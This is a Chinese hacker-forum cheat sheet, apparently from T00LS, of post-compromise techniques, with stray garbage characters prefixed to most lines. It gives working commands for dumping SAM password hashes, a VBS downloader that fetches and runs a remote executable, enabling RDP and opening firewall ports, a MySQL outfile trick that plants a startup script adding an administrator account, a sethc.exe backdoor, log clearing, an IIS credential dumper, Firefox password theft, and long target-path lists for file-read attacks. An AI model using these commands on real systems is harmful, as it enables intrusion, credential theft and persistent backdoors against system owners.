& U+ {: @) v1 c/ g5 X' _: J" d* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
# m5 j' t4 g2 D" z& _* [argp@julius ~]$ ./nfs_mount_ex
2 g& d  ?& t  Q1 t& M7 s*
, E" i! N0 b6 n  Ecalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
8 ^" {0 n4 D  N, f0 G——————————————
! R) {5 l! q; ]$ t1 l; y# b+ ^感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
: ?( F0 N% d/ @; P, f; B) ~3 Y————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
# n) B6 L5 R: V/ R' H3 m* [1 Galzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
  V, J6 O& I' D注：
& G  ]# `0 @; g  _( g关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
3 ^3 u; c3 M. v4 I; n. f那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
9 v" \, X% q  N2 F0 M}  
" I1 H1 ]; J7 d
提权先执行systeminfo
) s- O5 {8 B/ N. Qtoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
) P. Z" U) z/ {9 w) U2 Grar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
) ]3 I$ L, y1 Y6 g- ?2 ^2、收集系统信息的脚本  
for window：
9 y8 Q7 ^5 g  \$ p! F2 [
. g: S# |  O; R) ]@echo off
echo #########system info collection
' \& n8 x0 h& y3 a; h8 J& a# Dsysteminfo
( W( T9 m' U  R6 s. k' x* g& Mver
+ M( z# x5 }" \' Chostname
7 I2 b; G  D1 d6 @net user
3 A: @. A0 D/ g8 v7 A* @net localgroup
net localgroup administrators
# Q# H  c! v3 G* Enet user guest
. T  o9 f2 t/ _2 M5 k, _net user administrator

echo #######at- with   atq#####
echo schtask /query
" l$ {, k$ L* {7 C% E
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
* t! t" r% a" x5 _& n% L+ Rnetstat -anipconfig /displaydns
+ y4 h+ x0 M9 j/ D3 `: Cecho
- [$ Q1 P) ]9 K* cecho #######service############
sc query type= service state= all
echo #######file-##############
7 m$ \3 g7 _6 q; |6 s4 D& i0 ucd \
tree -F
for linux：
* L6 s3 A4 J! O4 o$ D
, G2 X8 [& ^  k' E0 r* K#!/bin/bash

5 A$ R$ T3 C* ]( B% {echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
3 a  g# i2 \* r2 Orpm -qa 2>/dev/null
######stole the mail......######
2 Q1 f' Y. Z' l- i# P9 `cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
( K( p. m( z* W' ?' [echo ###atq&crontab#####
: b9 S+ k# D8 y" X& K2 ?" Gatq
, I. {# J- o' O7 ~# p5 J2 bcrontab -l
echo #####about var#####
" T8 W& o  |  V$ ]1 p: e$ ?set
/ [# h* ^' h# V1 u0 A' G
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
: V$ G9 f: {( [! i7 gcat /etc/hosts
hostname
& ^* y, P( K1 B2 `! q" r0 eipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

' h% N8 N! `% Y( N. yecho ######service####
( Z! z5 n: U& s; nchkconfig --list
( Q: R" s! \/ T6 g1 i# e
7 ^% P% O4 y+ vfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
; N% b+ B: u( F; r8 {. Ldone

+ O* S4 [4 r3 |3 e6 k. Klocate passwd >/tmp/password 2>/dev/null
. m# o. s& ?1 G7 |sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
1 o% v8 {. @) ]( |8 Dlocate conf >/tmp/sysconfig 2>dev/null
4 q* f0 O% M0 i: a  c" J4 G8 @  ssleep 5
; O+ H0 y6 j6 f3 Z: Y3 r: R1 plocate config >>/tmp/sysconfig 2>/dev/null
0 r4 D3 W0 s( h$ Z0 Y/ Bsleep 5
% c3 l( e" c6 c9 I
0 H, G, t0 a" D+ w- j7 n1 a) @###maybe can use "tree /"###
8 }1 u& S2 x" F$ c- S2 lecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
+ K/ B: d7 F* v——————————————
; t+ `% U/ R8 e3 l8 j2 F( k) K3、ethash 不免杀怎么获取本机hash。
) d$ Z+ k% y( M1 F6 k" E首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
6 @" b+ y; b: {- s- m               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
1 w: l; U$ T1 H, w接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
6 a  u: z* J% {$ n据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
/ k! a: @) w. X——————————————
4、vbs 下载者
  h3 E8 I8 }) L+ W# F1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
+ g* ^/ v* Y! z2 ^" }echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
7 U. \' t; K, \6 N1 y. ~echo sGet.Type = 1 >>c:\windows\cftmon.vbs
4 J% v( ?: _. ?% }echo sGet.Open() >>c:\windows\cftmon.vbs
9 }+ f; O3 u9 [9 y% becho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
$ H( ?" P; |- U% c: h! G$ Recho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
+ N9 ]9 E# q- c. T' Secho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

- @& \: p7 o6 h# T2
On Error Resume Nextim iRemote,iLocal,s1,s2
$ C5 P) E5 a6 h! O. a0 W( ]iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
# m1 }4 m, }  B9 U: x; [——————————————————
5、
' d; s% t, h% J4 h1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  q* ^& x( e& U5 R1 C" g9 H- n3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
, Q% ]0 S- Y' uREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
1 R: x0 R9 c6 R& I( o5 E5 N4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
6 D- M- i. p2 H- P! D: l; binsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
7 z2 m( [. _6 ~2 a2 P* [insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
; J8 Q) I$ ]# K! O/ t9 E# r; E0 ^select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
5 G1 n* x" X$ a* {' w& s8 w————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
; l1 r/ r/ \  a, ~' ~. g6 C_____
$ W- Z& W: C, g9 w5 O, S! b: z8、for /d %i in (d:\freehost\*) do @echo %i
% n; @$ E1 O. G
; W$ N$ q% X' e, `列出d的所有目录
5 x6 ~0 `6 t: o4 Q  ~; m  
$ I1 S* A) `. q! |7 q- U  for /d %i in (???) do @echo %i

6 _" o( n# k) n! T3 M9 l* h) O0 J把当前路径下文件夹的名字只有1-3个字母的打出来
; U5 a6 ~1 _# _2 m7 R
2.for /r %i in (*.exe) do @echo %i
$ t+ L  Q6 ]% N4 Z' C6 ?  
; b; C3 y/ V$ Y' d0 `7 C以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
: D9 q7 M8 N, G
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
# s* V. N" C: w8 H. y. E" u# b
% _4 F3 k% k' p3.for /f %i in (c:\1.txt) do echo %i
/ W# ]/ [7 \. M3 Z  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
8 w: ?& p9 w  J; c2 h  `
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
4 s4 c6 |: g* l. I% p  _
6 F* h$ Z: {5 h7 J5 ^( m0 ?  delims=后的空格是分隔符 tokens是取第几个位置
. O/ a+ w. B, \( y8 c7 |——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
" S6 y) a9 f8 Q/ ?1 `
2.修改3389的默认端口:
4 N" g' b. Q( H( w% EHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
1 B; }* O$ u( L( g" w7 ?修改PortNumber.
3 C* n9 _& f& C& z
3.清除3389登录记录:
* s, P0 j4 p: L: S' `% u$ m# Kreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
: v/ @, I+ P- P9 M" s0 {9 I
- f. P% H; Q! @# ]: v4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

; I; L) }' k! _0 |, p* X6.IPSec默认免除项88端口(需重启):
" i: R' {' E4 F5 D4 {" Lreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
! Q, D5 ^( _" m, A. O8 J5 A' g& _
8 r( G6 p& D' I" H- E8.系统口令恢复LM加密:
# |  K8 x6 ]0 V( oreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

! e+ P/ ?% h- R8 `4 [1 }9.另类方法抓系统密码HASH
) Y% c# G4 P% Y; V4 T7 jreg save hklm\sam c:\sam.hive
# G% s1 r2 p# V! j4 A1 ?7 [$ _9 u6 Ureg save hklm\system c:\system.hive
# ]. C( l! _1 W2 ^, _reg save hklm\security c:\security.hive

10.shift映像劫持
5 b: V4 L  ~8 e* w8 v3 nreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
  s/ U% d5 Q  }. l" y, {/ u: j% R
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
/ X; {! L, F3 r8 e- ~-----------------------------------
" S5 H2 a* W9 S. ^, E$ w星外vbs(注：测试通过，好东西）
. [8 X$ q1 X8 v+ e% s* M6 e; eSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
5 }- O* _% R* O* [: BchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
* i) n+ o& ?0 o" K' O3 P9 N# Bset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
5 P" t5 r- B$ Z& d3 k, `msgbox("error!")
0 B) `$ b) j: e: Zwscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
2 E0 H" s8 m/ auser=iisweb.AnonymousUserName
/ w$ b. ?! H6 R( @, a% E9 S( M- Mpass=iisweb.AnonymousUserPass
( a4 C" N& v0 d8 Upath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
" O4 [3 [2 W9 m2 J" q. Gend if
6 D0 G  R  V; o# J' F8 A" vNext
wscript.echo list
  o( v+ J. ?$ `' Q& h" l3 a5 @Set ObjService=Nothing
+ B& k9 `4 O# W2 P$ O. qwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
  e1 P3 F+ b0 ]! X+ E4 P----------------------2011新气象，欢迎各位补充、指正、优化。----------------
2 p& o( D, T$ O8 F* M6 V  X1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2 U; R: {  @6 G; I2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
1 A" }2 |% S) h0 n, K  L5 X9 }# E将folder.htt文件，加入以下代码：
: C$ K6 A* r7 T5 k" l3 p<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
+ G8 _) J# O5 Q复制代码
# U. z* H/ T3 x/ y" [) Y然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
. B' N) f$ Z4 h4 G5 o 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
9 k" ?: S& T8 ]1 F path_info可以直接呈现虚拟路径 顺利解析gif大马
# Q' O' B) {! a1 Q/ Q9 F
==============================================================
LINUX常见路径：

8 C, Q: C+ B+ [# X8 b3 `4 l8 F/etc/passwd
# e6 |1 f" [0 s7 J  b, q0 Y6 `7 c1 S/etc/shadow
/etc/fstab
1 n9 z8 p- ^* B0 M+ R" x/etc/host.conf
; w4 b$ W$ k, j2 d$ d% {6 Q/etc/motd
  I: Z/ H5 N/ Q% T8 X/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
4 M! H0 d6 c8 a9 Y  D/ X/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
: g, z4 Z7 `& U  s( J  m/var/httpd/conf/php.ini
2 t6 }% W6 J* e1 Q, ^/ [& T- N/var/www/index.html
0 O1 |9 `# p  |/var/www/index.php
# j2 f0 m2 d4 k+ O0 `; N4 W/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
$ B2 X" m4 z) E0 H/ R! L, p( ^/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
: ?  |! D" F" j) U7 ?; {/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
; p- ~; \7 g8 i9 o5 k/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
" a9 ~  E1 g' Q/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
% J7 s, {3 k$ t* ]# g/www/php/php.ini
$ X3 z+ F4 J. @$ F$ S& {9 r+ N/www/php4/php.ini
$ }4 d' Q& h5 b3 h) A/www/php5/php.ini
/www/conf/httpd.conf
4 A# A* I9 [" B/ c& M: M! R/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
2 r& j4 R1 B- v# b- m2 Y; p/apache/apache/conf/httpd.conf
8 m1 N, ?$ `5 ~; A8 u, o, @5 _/apache/apache2/conf/httpd.conf
9 _7 I7 R2 p3 i9 A! r6 H$ A/ C/etc/apache/apache.conf
4 V. X5 m$ [* n  z; J7 A/etc/apache2/apache.conf
/etc/apache/httpd.conf
7 U% S" A  M; X; m  H. L/etc/apache2/httpd.conf
  ~7 |" z: Q4 O2 q" l& A: @% \/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
9 [7 v6 j  @/ H8 E/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
" ?# ~. Z  I9 V% _$ u* s0 P/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
, p! {3 h8 T$ M: n% N. a0 h- x/etc/httpd/logs/error.log
8 b+ P" e1 y1 b' v- {7 z1 a- {& p/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/ S. t0 D- |. K1 i; q& H/var/log/apache/error.log
/var/log/apache/access_log
# v; \' N& e; v+ I/ N! m3 z. d) C/var/log/apache/access.log
/var/log/apache2/error_log
  _' \1 |! H# Y; f& ^8 u5 g/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
4 z' f4 a9 @' H: t8 a) e. d/ h/var/www/logs/error_log
0 @9 N' h1 l. C1 Z& c5 P/var/www/logs/error.log
9 D6 X6 A: Y6 f$ Q/var/www/logs/access_log
2 m$ i- A  x% n/var/www/logs/access.log
/ F9 D0 G% M* t* g- L5 o$ i. w; X, i/usr/local/apache/logs/error_log
' ~0 i- x  a) ~5 S( P/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
$ d/ h7 ]. O+ k9 L/usr/local/apache/logs/access.log
0 D9 y! v. N; Q# Z+ Q+ d9 h/var/log/error_log
/var/log/error.log
/var/log/access_log
. D5 o4 j4 A! G& z: {9 X6 D/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
. c+ ?/ ]( b* r0 E( z* p/etc/php.ini
+ N+ w  g5 ~. x4 E! g/bin/php.ini
. r& ~; ~8 |- f: f- W/etc/init.d/httpd
/etc/init.d/mysql
: R. S. J" u" F2 m! S- o/etc/httpd/php.ini
4 z- d$ G3 r& e: d  o6 s/usr/lib/php.ini
% C4 ?/ w# `! {$ }/usr/lib/php/php.ini
0 Y7 s& ]- |" ^7 e9 U. y/usr/local/etc/php.ini
8 m; H* z* u  r# Q; |/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
0 u7 [( E% ~- M/ Z8 h2 B/usr/local/php4/lib/php.ini
- H' Q/ M/ T% s9 b! }1 c/usr/local/php5/lib/php.ini
, T+ D1 w  X; M7 t/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
; e4 K0 a4 a8 [" o/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
' l+ P  g- y% ^/usr/local/apache2/conf/httpd.conf
3 L  ~' u' m; Y/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
& K( D5 Y. E' b/ k; J# ]/etc/php4/apache2/php.ini
% c- T5 p6 Y, M/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
  A" L  H% C- Q$ r( u/etc/php/php.ini
: I  j3 x" z2 V" m6 @/etc/php/php4/php.ini
1 r0 k1 S* D; O5 N$ g/etc/php/apache/php.ini
* c. Q$ m! p2 y1 T8 p) X7 S" c/ w/etc/php/apache2/php.ini
/web/conf/php.ini
: q/ ~% W: d" Y; [' c6 Z/usr/local/Zend/etc/php.ini
# @3 v( q+ p( ?8 u( v/opt/xampp/etc/php.ini
8 g# ]+ W% R) ?. ]! P: K8 _5 r) r/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
$ D' w+ j% g8 G/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
( b- ^2 @/ A" k4 T3 R/ }/php5/php.ini
  _+ H9 I# _- z; ]( M/php4/php.ini
% g) {* `; E/ Z, G" M/php/php.ini
0 q+ R# j, W, ?/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
+ q/ y, o7 U9 r, h7 K* K/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
' |0 ]9 Q# I+ v0 h0 K/var/log/mysql/mysql-bin.log
/ {- F  D; [. }9 q/var/log/mysql.log
/var/log/mysqlderror.log
3 x+ j" v* Q7 U0 v1 B3 j7 C/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
1 h% t; f5 @3 _0 F8 I/usr/local/mysql/my.cnf
$ L' O7 w& B; K9 \' `/usr/local/mysql/bin/mysql
& P) K! i+ a! I( s" `5 |# @# j/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
* v$ G, L+ N0 Z! S" F: U1 {6 ]& B1 a/usr/local/cpanel/logs/access_log
# S( Q3 J( ?/ n2 t) J' L# ?/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
$ O/ \  D9 \1 S- {( H4 @2 X6 ]/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
& C* i5 X' H) ]% Z/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
+ s6 m2 d5 A. r5 Jc:\boot.ini
c:\1.txt
c:\a.txt
! g( ~2 D* G3 K0 L' W
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
8 c" V. d6 \0 S6 }  eC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
& x4 p0 ~) b  N" v  B4 c3 _0 [% x! OC:\WINDOWS\7i24tool.exe

3 W6 e+ |# {; ~5 uc:\hzhost\databases\url.asp

- [# Q5 D( n4 u; i! Pc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
, d' t) }! ?6 c7 s9 _, |/ g( @. a/ [
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
) b/ U  X, o5 F6 K: C8 Uc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
  ]( J, t. ]( M, O$ C" S) J$ A1 H% uc:\web\index.asp
c:\www\index.asp
) T; J( Q* E+ Q# l7 e: e: q' ac:\wwwsite\index.asp
& w/ O8 O- b) @4 Oc:\WWWROOT\index.asp
c:\web\index.php
5 Y5 S; D- t" z0 V3 b8 h% Jc:\www\index.php
c:\WWWROOT\index.php
, K) G& D; A2 Q: dc:\WWWsite\index.php
0 S0 x+ U$ v9 X9 A/ _. ?& N  Ec:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
, ?' V# o* {" J& [3 bc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
; H9 ~) d4 w& _c:\WWWROOT\default.asp
c:\web\default.php
' J( \" y% c% v5 s9 ]  kc:\www\default.php
c:\WWWROOT\default.php
4 N' o. P& k/ L! z8 Yc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
! E2 d2 |4 _& Y; q  m" N6 hc:\windows\notepad.exe
c:\winnt\notepad.exe
) y9 F# ~4 s5 v0 O- j6 wC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
9 a: e: [! p3 R5 \7 B4 G7 T+ ]C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
! D: F5 Y5 d) j0 ]: _/ `+ q6 D7 n1 [C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
9 y, G9 C! h5 f4 J# Mc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
2 j1 E2 O% D0 ~% h( D7 Y/ F9 v- |C:\Documents and Settings\All Users\Start Menu\desktop.ini
9 Q  N  |: Y/ ^+ {5 uC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
1 N' t( {5 A! M4 BC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
( O+ ~0 b, Q, ]) V  r  b* G5 iC:\Documents and Settings\Administrator\桌面\1.txt
' x* ?, q" t( |' QC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
' U4 M8 O( P* m3 j8 GC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
6 g+ G- }6 s4 z; y9 y! F3 O3 TC:\Program Files\Symantec\SYMEVENT.INF
. C0 {' @/ T2 y3 Y% Z1 `2 R8 gC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
8 {. p2 f' `+ n  d+ uC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
) g2 d7 u4 _1 ~0 A4 ^+ Y% R( [% NC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
' I* A' e! C- g$ j/ R2 }- \- M6 x2 UC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
2 V( Z9 i! a8 h0 B- ?) ^* D! BC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
0 b  L6 ~+ o8 \C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
; F, P! q1 \3 P6 Gc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
+ l& u' Z8 b" Q7 K+ `C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
7 i: C/ p" r7 a2 A/ AC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
, y+ A$ U# ^* ]6 u! J2 ^C:\WINDOWS\system32\config\default.LOG
+ L* l9 C' {" {4 I- J/ W1 R. v- WC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
, m9 ]  p+ ~2 j" S7 K) S4 Ac:\CMailServer\config.ini
0 @7 O, G. ~% ~* b6 ^9 hc:\program files\CMailServer\config.ini
; ]3 f. m0 B* h- ~) x% Qc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
4 h: Q- Z; `! r# Gc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
& B2 I# U5 l# \; S2 wc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
